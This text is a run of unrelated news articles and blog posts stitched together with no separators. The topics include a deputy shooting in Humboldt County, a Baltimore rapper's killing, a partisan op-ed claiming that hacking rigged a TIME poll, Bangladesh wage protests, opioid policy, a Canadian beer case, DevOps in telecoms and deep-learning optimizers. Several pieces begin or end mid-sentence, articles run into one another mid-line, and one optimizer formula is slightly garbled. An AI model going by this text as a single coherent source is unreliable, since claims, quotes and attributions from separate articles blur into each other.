A woman ran out of the door of the residence saying she had been held against her will by Parral-Aguirre who was not supposed to be there. Parral-Aguirre also tried to shoot the woman's boyfriend earlier that evening. The woman also warned deputies that the intruder was armed.
Deputies encountered Parral-Aguirre and ordered him to drop his weapon, the suspect then fired one round from a 12-gauge shotgun striking a female deputy in the left shoulder above her bulletproof vest.
Both deputies returned fire while struggling to find cover. Officers from the Eureka, Arcata, Rio Dell, Ferndale, Humboldt State University police departments, California Highway Patrol and California Department of Fish and Wildlife responded to the scene.
SWAT officers found Parral-Aguirre on a bed with three gunshot wounds and transported him to St. Joseph Hospital by ambulance with the wounded deputy. Parral-Aguirre was treated and booked into jail on felony attempted murder of a peace officer and false imprisonment charges.
Parral-Aguirre was arrested in 2008 for battery and was transferred to a federal prison before being deported back to Mexico. U.S. Immigration and Customs Enforcement agency also deported Parral-Aguirre in 2015.
Although Parral-Aguirre is here illegally, Honsal said, "Once there is a holding order by the superior court for these felony charges, he is eligible to be turned over to ICE at that time. But we’re not focused on that. We’re focused on our criminal charges here and proving those criminal charges in our county."
Honsal went on to say, "My deputies did an outstanding job. Number one, protecting the female and protecting themselves. They reacted exactly like they were supposed to do, exactly as they were trained to do. … I think they displayed considerable courage through this whole incident. I’m very happy, very thankful that a deputy didn’t get killed over this."
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Source: http://www.humboldtbeacon.com/general-news/20171218/man-accused-of-shooting-humboldt-county-deputy-was-deported-in-2015-sheriff-saysA crime scene is pictured with yellow law enforcement line with police car and lights in the background. Carl Ballou/Shutterstock
BALTIMORE, June 27 (UPI) -- Baltimore rapper Lor Scoota was shot and killed in daylight at a busy intersection after leaving a charity event on Friday, police said.
The rapper, whose real name is Tyriece Travon Watson, 23, had left a charity basketball he hosted moments before -- a game calling for "peace in the streets," in which various popular local figures came together to support the idea.
After the event finished, Watson was in his car, approximately a mile from the venue, when an unidentified black male wearing a white bandana stepped onto the road and shot him, Baltimore police said. Watson died a short while later at a local hospital.
Detectives consider the shooting a targeted attack on Watson, who was well-known in the beleaguered city for promoting peace.
"We have to be tired of this. Can #Scoota be a wake up call for us?" tweeted police spokesman T.J. Smith. "He entertained many, now gone, just like that. We are better than this."
As Lor Scoota, he was also one of the Baltimore's most well-known rappers. His 2014 song "Bird Flu" became a hit on YouTube. He also advocated for peace after Freddie Gray's death, doing a series of PSA on local TV, gave talks to teens and read to elementary school kids about Martin Luther King Jr.
"In Baltimore city, once you're doing good, you're a target," said fellow artist, Tadeo. "Nobody wants to see you doing better than they are doing. You try to make it to the top, they're pulling you down so you still here. That's why they say once you do your thing, leave."Narendra Modi displaced on poll; Whose TIME is it anyway?
India
oi-Nairita
By Kishore Trivedi
In the run up to the UP election results, CEC Dr. SY Quraishi called Exit Polls as something that is “best for entertainment channels.” The recent TIME 100 online poll for 2012 seems to take Dr. Quraishi’s observation to a much higher level. That a mere Internet based online poll could become a centre for negativity, false propaganda and misinformation we learnt from the manner in which vested elements ran an orchestrated campaign against Narendra Modi emerging on the list at numero uno position.
Steadily making his way up the list, Modi supporters watched in shock as on the last day of voting Modi was displaced by ‘Anonymous’ as the leader of the list. Not only that, even Erik Martin surged ahead of him to grab the second spot and Narendra Modi’s negative votes shot up. All this happened in less than 12 hours! While this surely isn’t a ‘do or die’ situation for Modi himself, the irregularities and rampant hacking that plagued the manner of voting need to be brought out. [Read: Time Magazine: Look into massive irregularities in Time 100 opinion poll]
TIME magazine surely owes an explanation for a number of irregularities that have afflicted their online poll. It was noticed that Narendra Modi consistently polled his votes whereas Erik Marin and ‘Anonymous’ remained glued between 120,000 and 160,000 for days. What except for mala fide hacking could explain the margin changes in 12 hours? Go by the ‘likes’ and Tweets on the poll and the answer would be crystal clear. Erik Martin garnered a thousand ‘likes’, Anonymous did a shade better with 2000 but Narendra Modi was comfortably placed with 96,000. It is fairly obvious that hacking scripts and not human voting determined the outcome in the last 12 hours. [Read: Modi supporters writes to TIME editor, demand to declare TIME-100 Poll as Null &Void]
This fiasco leaves behind an extremely sour taste. It is an ugly reminder of the havoc the menace of hacking can unleash. In case of TIME it happened with a mere online opinion poll but in the days to come it can take a more extreme form potentially affecting government data, health records perhaps even classified army documents. Why let anti-social elements taste blood when we are already aware of the consequences?
Equally shameful has been the response of TIME magazine. Even when it became completely obvious that there was wide scale rigging going on, the technical team of TIME and their website simply refused to act, leaving the website unattended. Neither was there any acknowledgment of the problem nor any concrete steps to prevent such negativity. This reminded many netizens of 2009 when there were similar complaints against the poll being hacked but nothing ever happened.
A few days ago, it was only Aparisim Bobby Ghosh, an editor at large with TIME who said, “I’ll bring this to the attention of my colleagues at Time.com” adding that if there is a problem, it will be sorted. This after Modi fans questioned him on the issue at an online chat interaction with CNN IBN. In the same chat, he also said that Narendra Modi’s influence couldn’t be doubted. But his is a one off reaction- one expects the rest of the magazine to speak and act accordingly.
In the midst of all this, when Narendra Modi is at the receiving end how can you expect the Indian media to remain aloof? The same media that was conspicuously silent when Narendra Modi was leading the list hit back the moment he was displaced on the top. In a near ‘Breaking News’ environment it was publicized across the board that Narendra Modi was no longer leading. In fact, when channels were debating the SIT verdict, a leading English channel preferred to say Modi is unpopular only because he topped the ‘negative’ votes tally. When they very well knew that the outcome was rigged, why must they carry it? Is it responsible journalism?
Understandably, these irregularities led to a wave of protests by Modi supporters. Twitter was flooded with Tweets to TIME magazine asking them to look into the irregularities. Some even questioned them for pontificating on fraud elections all over the world but being unable to prevent the same in their own backyard.
Infact, there are a series of online petitions, commenting on the unfortunate state of affairs of the TIME poll. Mashable reported that vote rigging could not be ruled out, that when ‘Anonymous’ was polling 14,000 votes per hour. Ironically, those who were wrongly accusing Modi of rigging the vote had to resort to similar the very tactics to ‘defeat’ Modi. The Indian American Intellectuals Forum penned a petition along with 2 letters seeking the disqualification of ‘Anonymous’ and Erik Martin. Closer home, the author himself has been involved in a petition seeking to bring this matter to the attention of TIME’s eminent editorial panel.
In conclusion, I must state that Narendra Modi’s online popularity does not need any stamps from magazines like TIME. It would not be an exaggeration to rank him among the most popular and tech-savvy leaders on the Internet. One look at his Twitter page, official Facebook profile and his website will validate my point. To reduce his popularity of the web is nothing short of living in a fool’s paradise. It is equally true that Modi deserved to be on top of the list and now that the Editor from TIME has promised to look into the irregularities, one hopes remedial action is not far away.Tens of thousands of garment factory workers in Bangladesh protested for the third day in a row Monday, calling on their government to raise the minimum wage from about $38 dollars per month to $100.
The protests forced the shutdown of hundreds of factories in the industrial Gazipur neighborhood near the capital, Dhaka, where factory owners and government officials called for workers to return to work.
"We need to run our factories. We demand authorities ensure security to continue production," S.M. Mannan, vice president of the Bangladesh Garment Manufacturers and Exporters Association (BGMEA), told The Associated Press after meeting with a cabinet minister and workers' representatives.
Western corporations that rely on Bangladeshi labor to make much of the clothing sold in their stores, including Wal-Mart, Gap and Macy's, appeared reluctant to comment publicly on the protests -- decisions that were criticized by labor-rights activists.
"If the corporations were to send a clear message that they are willing to pay higher prices to manufacturers so they can pay higher wages to workers, that could have a real influence on negotiations," said Liana Foxvog, director of organizing at the International Labor Rights Forum, a U.S.-based group that advocates for workers in countries like Bangladesh.
But that's unlikely to happen, Foxvog said.
The relationship among popular U.S. brands, the Bangladeshi government and a complex web of suppliers and factory owners has barely changed since Rana Plaza, a factory with lax safety standards, collapsed in April and killed more than 1,100 people, she said.
Several European manufacturers have agreed to establish a compensation fund for victims of the collapse, but no U.S.-based companies have signed on. Instead, Wal-Mart and other retailers created their own initiative for Bangladeshi worker safety, but it's not legally binding, and many labor-rights activists aren't sure what will come of it.
"It's mainly a face-lift of the corporate-controlled efforts that have failed Bangladeshi workers in the past," said Foxvog.
The protests on Monday were focused on the minimum wage, but Foxvog believes that workers' anger over conditions has intensified in Bangladesh because of April's tragedy.
On Monday, thousands of workers took to the streets, clashed with police and even set some factories ablaze to protest the BGMEA's suggestion that the minimum wage could be raised by only $7.75 a month because of a weak economy.
Bangladesh is one of the cheapest places in the world to manufacture clothes, which account for 80 percent of its exports. The monthly minimum wage in Bangladesh was almost half of today's rate until 2010, when similar protests forced the government to raise it. But wages are still lower than in most other countries where clothing is manufactured, and garment laborers often work up to 80 hours per week.
"One hundred dollars is the minimum we have asked for," said union leader Shahidul Islam Sabuj. "A worker needs much more than that to lead a decent life."
Abdul Baten, police chief of the Gazipur industrial district, told AFP that "up to 200,000 workers" had joined the latest demonstrations.
"The situation is extremely volatile," deputy police chief Mustafizur Rahman told AFP. "Police fired rubber bullets and tear gas to disperse the unruly workers."
While the government has yet to publicly announce a decision on wages, it has a vested interest in keeping them low. Many ministers in Bangladesh's parliament own factories, according to Foxvog.
With the country's economy so dependent on foreign corporations, she said workers' best hope might be if companies take the lead and increase wages without a mandate from the government.
Wal-Mart, Gap and Macy's did not immediately respond to requests for comment for this story.
Peter Moskowitz contributed to this report, with wire servicesGREEN BAY — Cassandra Nygren, the daughter of State Rep. John Nygren, was booked into the Brown County Jail on multiple charges early Wednesday, October 11th, according to our sister station, FOX11Online.com. She faces two counts of first-degree reckless homicide via drug delivery.
Nygren, 28, has fought a well-publicized battle with drugs, and her father has used her battle as inspiration for a variety of legislation dealing with the heroin epidemic.
No formal charges have been filed by prosecutors. Nygren is not expected to appear in court Wednesday, according to the Brown County District Attorney’s office. Jail records also list several other possible charges: manufacture and/or delivery of heroin, neglecting a child, and maintaining a drug trafficking place.
She was convicted of possession of narcotic drugs in 2015 and 2010.
Another man, Shawn Gray, 33, was also arrested in the case. Authorities are recommending the same charges against him, plus: failure to comply with the sex offender registry, resisting or obstructing an officer, second-degree recklessly endangering safety and resisting or obstructing an officer.
Again, prosecutors have not filed any formal charges against Gray.
The Brown County Sheriff’s Office has called a news conference for Thursday morning to discuss the case.
Nygren and Gray are expected to appear in court Thursday afternoon.
Rep. Nygren released a statement Wednesday afternoon:
“First and most importantly, I offer my sincere and heartfelt condolences for the loss of life. There are no words that we as a family can offer to give any real comfort for the tragic loss. To the family and friends of the victims of this tragedy, please know that you are in our prayers and that our hearts are heavy. Cassie has publicly struggled with addiction and recovery for several years. This is a strong reminder of how fragile the road to recovery is. We will continue to support and pray for her recovery. This is just another example, in a seemingly endless line, of the disastrous and destructive consequences addiction continues to have on families and communities nationwide. These stories are the motivating factor behind all our work in the legislature to fight this epidemic. In this time of extreme sadness and sorrow, I request that privacy and respect be extended to those grieving from their loss.”
Monitor FOX6 News and FOX6Now.com for updates on this developing story.President Donald Trump and Attorney General Jeff Sessions attend a panel discussion on opioid and drug abuse in the Roosevelt Room of the White House on Wednesday. | Getty After pledging to solve opioid crisis, Trump’s strategy underwhelms
As a candidate, Donald Trump promised rural towns and states hit hard by opioid addiction that he'd solve the epidemic ravaging their communities. "We will give people struggling with addiction access to the help they need," Trump vowed in October.
Trump won many of those communities — often overwhelmingly. But as president, he's proposing deep cuts to research and treatment in favor of funding a border wall to stop drug traffic, while hinting at bringing back policies like criminalization of drug misuse — and announcing Wednesday yet another big presidential commission to study the problem.
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Public health advocates say those plans at best duplicate those of the Obama White House and at worst could set back efforts to tackle a problem that contributes to more than 47,000 deaths per year. Many experts advocate treatment and support services over jail for drug abusers, saying they reduce the risk of a person committing another crime.
The emerging Trump strategy, including failed plans to repeal Obamacare protections that enabled millions to get substance abuse treatment, "doesn't bode well for the public health approach, such as it is," said Leo Beletsky, a law professor at Northeastern University who specializes in health and drug policy. He points to Republican rhetoric about criminalizing the crisis, as well as proposed funding cuts to research and treatment.
"This new shift will certainly make the situation much worse," Beletsky added.
Trump will sign an executive order Wednesday creating a high-level opioids commission led by New Jersey Gov. Chris Christie, who has spoken about the need to prioritize treatment for opioid addiction. It includes Attorney General Jeff Sessions, who has suggested more of a crime-and-punishment approach.
Public health experts question the value of the commission. It was just last November when Surgeon General Vivek Murthy released his office's first-ever report on opioids and addiction, which included tools and recommendations collected from more than a year of research. The CDC also released prescribing guidelines after thorough study.
"These people don’t need another damn commission," said a former Obama administration official who worked to address the opioid crisis and asked not to be named. "We know what we need to do. … It's not rocket science."
The White House on Tuesday also shuffled the leadership at the Office of Drug Control Policy, replacing acting head Kemp Chester — a compromise pick between the outgoing Obama and incoming Trump administrations — with acting head Rich Baum, a former Hill GOP staffer who's been critical of legalizing marijuana and wants to tackle drug cartels abroad.
Baum specializes in what's called the "supply side" of drug policy — cracking down on the flow of illegal drugs — as opposed to "the demand side," or treating the end user. Baum is close to GOP policy experts who worked to enact the "war on drugs" tactics under previous Republican presidents, several sources told POLITICO.
But many officials are doubtful about the supply side approach.
“Our hope is they would take a public health approach to addressing this epidemic," said Laura Hanen, chief of government affairs at the National Association of County and City Health Officials. She pointed out that while there have been inroads to clamp down on over-prescribing of prescription opioids, there's been a corresponding uptick in heroin and fentanyl. “You squeeze one end of the balloon and the air goes to the other end. … If we’re only going to use a supply side approach I doubt it ‘ll be very effective.”
Drug-policy experts also worry about Sessions' punitive view of drug abuse and his skepticism about treatment, which he believes seldom works. “We can wish that we could just turn away and reduce law enforcement,” he said in a speech last year. “But I do believe that we're going to have to enhance prosecutions. There just is no other solution.”
Pam Garozzo holds up a photograph of her late son Carlos during a listening session Wednesday at the White House on opioid and drug abuse. | AP Photo
The White House issued a budget request recently that would siphon billions of dollars from NIH research and CDC public health work this year while steering about $2 billion toward construction of Trump's border wall with Mexico.
The president has promoted the wall as a linchpin of his strategy to fight the opioid epidemic. "A wall will not only keep out dangerous cartels and criminals, but it will also keep out the drugs and heroin poisoning our youth," Trump said in October in New Hampshire — a state hard-hit by the opioid crisis.
"We must... focus on prevention and law enforcement," Trump said at a Wednesday event showcasing the effort. "That is why I have issued previous executive actions to strengthen law enforcement and dismantle criminal cartels. Drug cartels have spread their deadly industry across the nation and the availability of cheap narcotics — and by cheap, some of it comes in cheaper than candy — has devastated our communities."
But Trump's own homeland security czar said the border wall "in and of itself will not do the job" and drug-policy experts warned cartels would be motivated to find a way around it. In any case, it may be a non-starter this year; Congress will rebuff the request, Sen. Roy Blunt (R-Mo.), a senior appropriator, signaled on Tuesday.
Democrats on the Hill also blasted Trump for a plan that they say prioritizes optics like a border wall and a political commission over investing more dollars in caring for people who are addicted to opioids, recovering or are at risk. They also said that the ill-fated American Health Care Act — the House Republican plan to strike down Obamacare — would have dealt a critical blow to coverage for millions of substance misusers.
"I’d take President Trump’s proposed efforts on opioids more seriously if he hadn’t spent the last two months trying to derail the historic steps forward on substance abuse treatment through the Affordable Care Act — and if his budget didn’t also include a 20 percent cut to mental health services, which are so important in the fight against this epidemic," Sen. Patty Murray (D-Wash.) said in a statement.
"I was pleased to see then-candidate Trump recognize this issue on the campaign trail," Sen. Maggie Hassan (D-N.H.) told POLITICO. "[But] I am concerned that rather than show a commitment to increasing resources to boost treatment capacity, President Trump has so far pushed policies that would harm our efforts to combat the crisis."
Several advocates pointed out that the failed House Republican bill to repeal Obamacare would have significantly hindered access to addiction treatment. The legislation was not only projected to lower coverage but also would have eliminated essential health benefit guarantees — including mental health — for millions of Americans covered through various ACA-related programs.
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The bill would have slashed Medicaid expansion, which experts have concluded helped nearly 1.3 million low-income Americans gain access to substance-use treatment.
Trump's budget proposal for next year keeps the $500 million allotted to states through the 21st Century Cures Act to fight opioid addiction and proposes $175 million more to fight drug trafficking. But it would cut funding by 14 percent for the Coast Guard, whose maritime interdiction efforts are necessary at a moment when cocaine production and trafficking is at an all-time high.
Drug policy experts across the federal government say they weren't consulted on the executive order to create the opioids commission.
"The first time I learned about this was when I saw it in the press" on Sunday night, one said.
Policy experts stressed that the Obama administration made its own blunders in fighting the opioid epidemic, such as failing to increase access to drugs like naloxone |
fanfare in 2011, but actually going on to smash box office records. Somehow Portal 2 and LA Noire manage to be more cinematic than a great deal of contemporary cinema – while being something entirely different, something with the phrase "I LOVE VIDEO GAMES" embedded in their DNA like a cheerful slogan through a stick of rock. These are not replacements for films, but something thrillingly different. Gaming's ongoing push into the mainstream consciousness has entered a bold new phase – by appealing to the players' intelligence and imagination, it's starting to make Hollywood look embarrassing.Fourteen cases of beer and three bottles of liquor that a certain Gérard Comeau of Tracadie-Sheila, N.B., brought from Quebec to New Brunswick in 2012, are once again in contention. The Public Prosecution Services of New Brunswick are now seeking leave to appeal to the Supreme Court of Canada on this issue. They are right to do so.
Mr. Comeau bought beer in Quebec at about half the price he would have paid in his own province. But the Liquor Control Act of N.B. says it's an offence to possess more than 12 pints of beer that haven't been bought in a New Brunswick liquor store.
The RCMP had been waiting for Mr. Comeau and his beer, and they charged him. But there were wheels within wheels that the police hadn't considered.
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Globe editorial: Don't tread on my beer
Opinion: There are no losers in the free trade of beer
Provincial court judges don't often alter the prevailing practice under the Constitution Act, 1867, but Justice Ronald LeBlanc did. He read Section 121: "All Articles of the Growth, Produce, or Manufacture of any one of the Provinces shall be admitted free into each of the other Provinces." In other words, there should be no customs duties on goods moving in and out of the provinces of Canada. Mr. Comeau won.
It was a victory for internal free-traders. Canadian governments have worked on provincial trade treaties for a quarter-century or so, but they never quite achieve the same level of access across provincial borders that Ottawa has achieved for its national border.
The New Brunswick government appealed, but the provincial Court of Appeal said it didn't see any reason to review Justice LeBlanc's decision. Last Wednesday, however, the Public Prosecution Services of New Brunswick announced its leave-to-appeal application to the Supreme Court, adding that the implications of the Comeau case are "far greater" than beer and liquor.
It remains a mystery whether the PPS favours internal free trade in Canada or not. But it is right to say that the "national significance of the issues involved" calls for clarification at the highest level. The issue of the free movement of goods and people across provincial borders has dogged the Canadian economy for too long.
The leave-to-appeal application feels like a public-spirited move. With any luck, the Supreme Court will rule in favour of internal free trade and put an overdue issue to rest.A recent article on CA takes an excellent look at how DevOps is making strides into every industry to improve the speed in how we deploy solutions in Agile development environments. What surprised me was that it's the Telecoms industry that's the biggest adopter when it comes to extending Agile methodologies. CA says:
The clear leader here is telecoms. They are almost two-times more likely to be using DevOps (68%) than the aggregate (39%). In fact, a total of 88% of telecoms either are using it or plan to, versus an aggregate of 66%. It is clear that the telecoms industry is one of the most competitive, and the pressures to continuously deliver new products and services are enormous. The benefits of DevOps in terms of accelerating the pace of delivery provides a pretty compelling reason for telecoms to move forward aggressively with DevOps.
This seems accurate for ISP's and mobile operators who deploy webRTC, web services, HTTP, can run in a browser or is easily virtualized in an OpenStack container.
DevOps comes from IT (as did Agile). It always was, and still is used primarily by technology platforms in industries that converge with Internet platforms and web-portals.
But pure IT stack is only a subset of the telecoms industry, and IMO doesn't reflect the largest share of what the Telecoms industry is: Namely equipment providers building the hardware. Apart from the bigger vendors such as NSN, Ericsson, Alcatel-Lucent & Huawei, etc., there are thousands of medium sized firms writing a lot of software that is deployed using Agile principles. They moved from iterative-waterfall to Agile years ago, and are no strangers to Continuous Integration, and up to a point even the Continuous Deployment of their software packages.
But unlike IT and Internet platforms, what they create isn't a virtual service that is deployed somewhere in the cloud and can be continuously patched. They deliver hardware that may cost millions to commission and is maintained over years with strict SLA's. So on a technical level, by using OpenStack, Puppet or other technologies, DevOps isn't going to do anything for them.
When I first asked around about what DevOps actually was, and to learn how to improve processes in Telecoms or Automotive, the confusing answer by advocates was always:
"To understand DevOps you need to remember that it isn't a framework of tools, but a mindset".
Aha!? This made me curious, because nobody even in IT could provide a proper definition other than: "It will make you faster by improving the communication between development and integration/deployment departments".
Whether Telecoms, Automotive or another hardware intensive industry, anyone forced to take a conservative route, will be unlikely to embrace DevOps by-the-book, even if Agile processes are already in place.
Those of you familiar with some of the funny images over at devopsreactions, might get a good chuckle out of the idea of "DevOps in a Nuclear Power Plant", or deploying "live upgrades to Medical Surgery Equipment".
But don't dismiss it just yet. Its ideas (or "mindset"), can still make you quicker than your competition!
Before we go all philosophical, let's look at how these bigger firms outside IT usually develop/deploy their products:
ACME Corp is a multi-billion dollar business and develops network components for mobile operators. One of their R&D projects currently keeps more than 1000 engineers busy developing away to make this world a better place.
In the last 10 years they have moved from "iterative" (Waterfall) development method to Agile. Their engineers now organize themselves as micro-teams which are assembled/disassembled in an ad-hoc manner working on various chunks of their product. Not everyone touches everything within the code-repository but they look at code & ownership in the context of its features and impacts on the system.
Competences are spread cross the different geographic sites with a good mix and balance of their skills. Some teams are closer to the hardware others work higher on their stack. Strict quality guidelines ensure that whenever they submit a change to the software-repository, immediate automated feedback is given by their continuous integration (CI) system to inform when they've broken existing functionality. When that happens they either deliver a correction immediately or roll-back that change. This way the overall content always has a very recent working and testable version of the product or it's sub-components.
Once they delivered changes or new features this way, and provided nothing breaks, their code is "promoted" to downstream integration and test stages.
These guys (in other departments) then pick up some versions and integrate them further and run more complex tests. The integration guys have their own CI system and repository to version and store their test-cases, and then in turn promote whatever came from upstream after their tests passed, to the next teams.
You might find 4 or more of such test/integration instances, all organized by their own management layers. Eventually the developers code and final package reaches the real hardware where end-to-end system tests and inter-operability (IOT) tests can be conducted.
Everyone is happy! That is until faults come cascading back up from downstream, and analysis will eat up a lot of the resources.
Which software package version has the fault? How many branches have we already created in the meantime which now have the same faults? Where do we have to merge the corrections to? Who else will come back from another department reporting the same error? How can we ask developers to deal with all this overhead when they are meant to work on a tight deadline to churn out the next features in the sprint?
Fault Manager to the rescue!
But wait! Now we have an important customer trial (actually we always have one of those) which means we have many of these must-fix-immediatly-super-critical-do-not-wait faults. And we need developers to correct it right now. Yes NOW,... even we don't know yet who the responsible culprits are, who've committed this crime.
And since us fault managers are overloaded enough as it is, we don't have time to analyse any of this. Only if we would have some dedicated people who could look at the logs and identify which developers must deliver the correction!
Pre-Analysis to the rescue!
And just in the nick of time, our hero managed to analyse the 10 GB of logs and identified the usual suspects, confirmed it wasn't a bug in the actual tests, and forwards the fault to the right guys, who then deliver the required correction tout suite.
Though this is clearly not the end of the story! As by now the fault had propagated into products which have already been frozen and therefore MUST NOT be corrected unless there is an official request from the customer.
Since the official delivery of the faulty code was made 3 weeks ago, this issue will raise it's ugly head a few more times in the coming months: And each time on a different branch. And each time popping up as a new bug in the bug-reporting-tool with a different set of trace files.
So clearly the fault-manager and the pre-analysis guy will be busier than Batman and Robin for years to come!
--
What happened? Didn't agile make them faster?
Having abolished their code ownership and implemented Agile internally within their team, ACME Corp gained tremendous speed over their competitors, churning out well tested changes and new features every few hours. But by doing so another bottleneck had been made visible. What happened? The company had internally committed to Agile methods as told by their CEO, but every department after becoming Agile still did it on their own terms maintaining their status quo internally.
Back to their workflow: If you look closely at how the product delivery chain "cascades", often over 5 or more integration & test departments, you still see a waterfall! And that waterfall is one costly and resource hungry administrative nightmare, quickly eating away the developers time, as they have to constantly provide clarification to dedicated coordinators, whose main job consists of steering the communication about the faults into the correct channels. Frustrating.
And this is where Agile stops and DevOps begins.
What DevOps can bring to the table in industries that are "close to the metal", isn't a new tool to solve all your problems. (And neither was Agile!)
Thinking in "DevOps terms" means integrating your downstream test-environments/operations bringing them closer to developers.
Before you dismiss this, take a look at how your downstream integration and test departments are currently still reinventing the wheel! Some of them will not even use Agile principles or automation such as continuous integration or (god forbid) even version their tests.
In fact from their perspective not much has changed: They still get a baseline at regular intervals which is loaded to the test-environment and then they give feedback. The further you move downstream the more you will find a lack of scripting know how which comes natural in your upper layers. Integration might select only a few of these baselines randomly or "cherry-pick" whatever looks most promising.
So even your developers churn out features at maximum capacity, downstream continues to live isolated from the rest of the upstream departments. And it gets worse the further you move downstream and away from developers. Each department inventing their own test systems because of their unique needs (some justified some not). Many writing overlapping test cases and re-test what was already verified. --> Not that double checking is a bad thing, but writing/maintaining the same test-code several times is a waste. My guess is that there will be a massive overlap, and engineers creating and solving similar problems in every department.
Approaching this with a DevOps "mindset" will help you cut down the technical barriers between these cascading departments so that automated deployments become possible. Add API's that make the whole delivery-chain transparent all the way to the target hardware.
The good news is that you don't have to start doing it all at once, as you did when initially migrating to Agile 10 years ago! Instead start with a gap-analysis conducted by either an internal architect -let's call this person a consolidation-engineer- and check every one of your test/integration departments to identify overlap and ways to automate your deployments API's/interfaces.
Once you have a clear picture, figure out how you can break your internal silos and improve intra-department communication. How would you do that? Simple: you already did this once when you introduced Agile in your development teams! Now take the next step and have some of your developers spend one or two days a week in what was until now the next downstream department. And move some of these guys into development for few days a week.
You might want to think about incentives for doing so and reward people willing to work across these borders. Consider them as ambassadors in your company who are piercing through your silos. Before you know it, boundaries will have become blurry and that silo is cracking! Natural cross-pollination of ideas will happen from bottom up!
Developers now see the effects of their code-changes within just a few hours and on the actual target hardware. This makes them a more relevant part of your big "organization-machine", and also helps them to identify themselves deeper with the product you sell.
Imagine that! :-)
Note: If you have thoughts+ideas about how to make use of DevOps in industries that are close to the hardware please share! I'd also be interested in hearing your thoughts on how this could tie in or benefit existing DFMEA strategies.
--
This post was written by Joachim. You can hire him, or one of his consultants, to help you improve your R&D processes and for topics around Agile-Development techniques, Continuous Deployment. If you have experience in DevOps and also worked in Telecoms send him your CV here.Atlanta Hawks President of Basketball Operations/Head Coach Mike Budenholzer announced today plans to partner with the Atlanta Community Food Bank and launch an Assists for Hunger Program during the 2016-17 season. Budenholzer has pledged to donate $15 for every assist the Hawks record during the regular season this season with a final minimum contribution of at least $25,000.
During his three years as head coach of the Hawks, Budenholzer’s team has averaged 25.4 assists per game, the second-highest average in the league during that period. The Hawks have led the Eastern Conference in assists during each of those seasons.
In Georgia currently, nearly 19% of Georgia’s population is food insecure, meaning they do not have the financial resources to access enough nutritious food to live a healthy life. That figure includes more than one in every four Georgia children and one in every 10 seniors.
“As I learned more about the important work that the Food Bank was doing and how dire the need was in our state, I became moved to act. I believe each of us can make a difference and can help to eradicate hunger right where we live,” Budenholzer said. “Playing unselfish basketball is a core component of our basketball culture and high assist totals are a great indicator that we are playing the right way. With the Assists for Hunger program, they will take on an even more significant meaning this season.”
Read more here: Mike Budenholzer Partners With Atlanta Community Food Bank To Launch Assists For Hunger ProgramThe controversial issue of lawful access rules, which address questions of police use of Internet subscriber information and interception capabilities at Canadian telecom companies, has long been played down by Canadian governments. When policy proposals first emerged in the early 2000s, the Liberal government focused on the anti-terrorism and anti-spam benefits. Subsequent Conservative proposals promoted the ability to combat child pornography, and most recently, cyber-bullying.
Yet when the Conservatives passed lawful access legislation in late 2014, it seemed that more than a decade of debate had delivered a typical Canadian compromise. The new legislation eliminated liability concerns for Internet providers who voluntarily disclose basic subscriber information and created a series of new police powers to require preservation and access to digital data.
Notwithstanding the legislative resolution and renewed legal certainty, my new tech law column at the Globe and Mail notes that Public Safety Minister Ralph Goodale has quietly revived the lawful access debate with a public consultation that raises the prospect of new rules that would effectively scrap the 2014 compromise. Ironically, the focus this time is the public demand for amendments to Bill C-51, the Conservatives’ anti-terrorism law that sparked widespread criticism and calls for reform during last year’s election campaign.
In other words, the Canadian privacy balance is being placed at risk by a policy initiative that purports to fix privacy. Read the full column here.This post discusses the most exciting highlights and most promising directions in optimization for Deep Learning.
Table of contents:
Deep Learning ultimately is about finding a minimum that generalizes well -- with bonus points for finding one fast and reliably. Our workhorse, stochastic gradient descent (SGD), is a 60-year old algorithm (Robbins and Monro, 1951), that is as essential to the current generation of Deep Learning algorithms as back-propagation.
Different optimization algorithms have been proposed in recent years, which use different equations to update a model's parameters. Adam (Kingma and Ba, 2015) was introduced in 2015 and is arguably today still the most commonly used one of these algorithms. This indicates that from the Machine Learning practitioner's perspective, best practices for optimization for Deep Learning have largely remained the same.
New ideas, however, have been developed over the course of this year, which may shape the way we will optimize our models in the future. In this blog post, I will touch on the most exciting highlights and most promising directions in optimization for Deep Learning in my opinion. Note that this blog post assumes a familiarity with SGD and with adaptive learning rate methods such as Adam. To get up to speed, refer to this blog post for an overview of existing gradient descent optimization algorithms.
Improving Adam
Despite the apparent supremacy of adaptive learning rate methods such as Adam, state-of-the-art results for many tasks in computer vision and NLP such as object recognition (Huang et al., 2017) or machine translation (Wu et al., 2016) have still been achieved by plain old SGD with momentum. Recent theory (Wilson et al., 2017) provides some justification for this, suggesting that adaptive learning rate methods converge to different (and less optimal) minima than SGD with momentum. It is empirically shown that the minima found by adaptive learning rate methods perform generally worse compared to those found by SGD with momentum on object recognition, character-level language modeling, and constituency parsing. This seems counter-intuitive given that Adam comes with nice convergence guarantees and that its adaptive learning rate should give it an edge over the regular SGD. However, Adam and other adaptive learning rate methods are not without their own flaws.
Decoupling weight decay
One factor that partially accounts for Adam's poor generalization ability compared with SGD with momentum on some datasets is weight decay. Weight decay is most commonly used in image classification problems and decays the weights \(\theta_t\) after every parameter update by multiplying them by a decay rate \(w_t\) that is slightly less than \(1\):
\(\theta_{t+1} = w_t : \theta_t \)
This prevents the weights from growing too large. As such, weight decay can also be understood as an \(\ell_2\) regularization term that depends on the weight decay rate \(w_t\) added to the loss:
\(\mathcal{L}_\text{reg} = \dfrac{w_t}{2} |\theta_t |^2_2 \)
Weight decay is commonly implemented in many neural network libraries either as the above regularization term or directly to modify the gradient. As the gradient is modified in both the momentum and Adam update equations (via multiplication with other decay terms), weight decay no longer equals \(\ell_2\) regularization. Loshchilov and Hutter (2017) thus propose to decouple weight decay from the gradient update by adding it after the parameter update as in the original definition.
The SGD with momentum and weight decay (SGDW) update then looks like the following:
\(
\begin{align}
\begin{split}
v_t &= \gamma v_{t-1} + \eta g_t \\
\theta_{t+1} &= \theta_t - v_t - \eta w_t \theta_t
\end{split}
\end{align}
\)
where \(\eta\) is the learning rate and the third term in the second equation is the decoupled weight decay. Similarly, for Adam with weight decay (AdamW) we obtain:
\(
\begin{align}
\begin{split}
m_t &= \beta_1 m_{t-1} + (1 - \beta_1) g_t \\
v_t &= \beta_2 v_{t-1} + (1 - \beta_2) g_t^2\\
\hat{m}_t &= \dfrac{m_t}{1 - \beta^t_1} \\
\hat{v}_t &= \dfrac{v_t}{1 - \beta^t_2} \\
\theta_{t+1} &= \theta_{t} - \dfrac{\eta}{\sqrt{\hat{v}_t} + \epsilon} \hat{m}_t - \eta w_t \theta_t
\end{split}
\end{align}
\)
